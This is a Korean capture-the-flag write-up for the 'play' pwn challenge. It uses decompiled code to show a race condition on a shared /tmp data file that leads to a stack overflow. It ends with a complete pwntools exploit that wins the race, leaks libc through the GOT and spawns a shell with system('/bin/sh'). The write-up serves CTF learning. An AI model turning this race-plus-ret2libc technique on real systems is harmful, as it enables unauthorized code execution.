CTF-PWN-play(조건 경쟁, 동일한 데이터 파일 다중 프로세스 공유)
32227 단어 CTF-PWN
[*] '/home/supergate/Desktop/Pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX 보호기만 켜져 있어 공격에 편리합니다.기본 프로세스를 실행하기 전에 init 함수를 실행합니다.
void init()
{
unsigned int v0; // eax
char name; // [esp+0h] [ebp-48h]
v0 = time(0);
srand(v0);
init_io();
if ( access(manager_db, 0) && mkdir(manager_db, 0x1EDu) == -1 )
{
perror("mkdir error");
}
else
{
chdir(manager_db);
while ( 1 )
{
printf("login:");
read_buff((int)&name, 64, 10);
if ( (unsigned __int8)check_name(&name) )
break;
puts("bad name");
}
if ( access(&name, 0) )
{
puts("welcome to the system!");
init_new_db_file(&name);
}
else
{
puts("welcome back to the system");
}
init_db(&name);
gMonster = (AD_struct *)malloc(0x54u);
init_monster(0);
init_hero();
}
}
즉, 먼저
login
문자열을 입력한 다음 /tmp/
디렉터리에 같은 이름의 파일을 만듭니다.후속 조작을 통해 이 파일이 저장된 내용gHero
과 관련된 내용을 알 수 있다.주류는
gHero
와 gMonster
가 서로 공방을 하는 시뮬레이션이다.공격을 선택할 수도 있고, 자신의 현재 공격 방식을 수정할 수도 있다.각 공격 방식의attack
,defense
,strike
값이 모두 같지 않고 허표로.bss
단에 존재한다.그 중에서 attack
함수는 아래 그림에서 보듯이 AD_struct
는 내가 데이터 구조에 따라 정의한 구조체로 후속 이해가 편리하다gHero
와 gMonster
는 모두 이 구조체의 형식이다.struct_properties *attack()
{
struct_properties *result; // eax
int monster_defense; // [esp+10h] [ebp-18h]
int monster_attack; // [esp+14h] [ebp-14h]
int hero_defense; // [esp+18h] [ebp-10h]
int hero_attack; // [esp+1Ch] [ebp-Ch]
++gHero->cnt1;
++gMonster->cnt1;
hero_recovery();
mon_recovery();
printf("%s display:%s
", &gHero->gap3, gHero->properties->method_full_name);
printf("%s display:%s
", &gMonster->gap3, gMonster->properties->method_full_name);
monster_attack = gMonster->properties->attack;
monster_defense = gMonster->properties->defense;
if ( gMonster->properties->strike && gMonster->cnt1 > 4 && rand() % 3 == 1 )
{
gMonster->cnt1 = 0;
monster_defense += gMonster->properties->strike;
monster_attack += gMonster->properties->strike;
}
hero_attack = gHero->properties->attack;
hero_defense = gHero->properties->defense;
if ( gMonster->properties->strike )
{
printf("use hiden_methods?(1:yes/0:no):");
if ( read_int() == 1 )
{
hero_defense += gHero->properties->strike;
hero_attack += gHero->properties->strike;
}
}
if ( hero_defense < monster_attack )
gHero->surplus -= monster_attack - hero_defense;
if ( monster_defense < hero_attack )
gMonster->surplus -= hero_attack - monster_defense;
if ( gHero->surplus <= 0 )
{
puts("you failed");
gHero->surplus = 0;
release_all();
}
result = (struct_properties *)gMonster->surplus;
if ( (signed int)result <= 0 )
{
puts("you win");
if ( gMonster->slave_num == 3 )
{
puts("we will remember you forever!");
vul_func();
release_all();
}
puts("slave up");
level_up();
result = init_monster(gMonster->slave_num + 1);
}
return result;
}
매번 몬스터 혈액량이 0 및 이하로 떨어지면 승급, 레벨 3의 몬스터를 처치하면 당신의 이름을 기록하고 프로그램을 종료합니다.
빈틈 분석
vul_func
에는 창고 넘침의 빈틈이 분명히 존재하고 가장 간단한 창고 넘침이다.문제는 우리가 어떻게 세 등급의 괴물을 처치해서 프로그램을 이곳까지 운행시킬 것인가 하는 것이다.gHero
는 /tmp/
폴더에 우리가 지정한 이름이 있는 파일에 존재하기 때문에 만약 우리가 두 프로세스를 열었고 입력한 파일 이름이 같으면 이 두 프로세스는 같은 메모리 영역을 공유할 것이다.attack
함수의 이 단락에 대해 hero_attack = gHero->properties->attack;
hero_defense = gHero->properties->defense;
if ( gMonster->properties->strike )
{
printf("use hiden_methods?(1:yes/0:no):");
if ( read_int() == 1 )
{
hero_defense += gHero->properties->strike;
hero_attack += gHero->properties->strike;
}
}
p1 프로세스에서read 대기int () 함수를 입력할 때 p2 프로세스를 열고 공격 방식을 수정하여 강화할 수 있습니다
gHero
.모든 공격 방식의 속성은 위에서 말한 바와 같이 모두 허표에 저장되어 있다.한 가지 공격 방식만 있는 게 아닐 거예요.p2 프로세스가 수정된 후에close를 기억해야 합니다. 그렇지 않으면 p2가 진 후에 예상치 못한 오류가 발생할 수 있습니다.exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
def change_method(proc,idx):
proc.sendlineafter(">> ","3")
proc.sendlineafter(">> ",str(idx))
def hacking(proc):
proc.sendlineafter(">> ","1")
proc.sendlineafter(":","1")
p1=remote('111.198.29.45',55333)
elf=ELF('./pwn')
p1.sendlineafter('login:',"name")
while True:
change_method(p1,3)
p1.sendlineafter(">> ","1")
p1.recvuntil(":")
p2=remote('111.198.29.45',55333)
p2.sendlineafter('login:',"name")
change_method(p2,1)
p1.sendline("1")
p2.close()
p1.recvline()
p1.recvline()
p1.recvline()
infom=p1.recvline()
log.info(infom)
if "remember" in infom:
break
log.info("Success!")
p1.recvuntil("name:")
vul_addr=0x8048EC7
payload='a'*0x4c+p32(elf.plt['puts'])+p32(vul_addr)+p32(elf.got['puts'])
p1.sendline(payload)
p1.recvuntil("welcome
")
puts_addr=u32(p1.recv(4).ljust(4,'\x00'))
obj=LibcSearcher('puts',puts_addr)
system_addr=puts_addr-obj.dump("puts")+obj.dump("system")
binsh_addr=puts_addr-obj.dump("puts")+obj.dump("str_bin_sh")
payload='a'*0x4c+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p1.sendline(payload)
p1.interactive()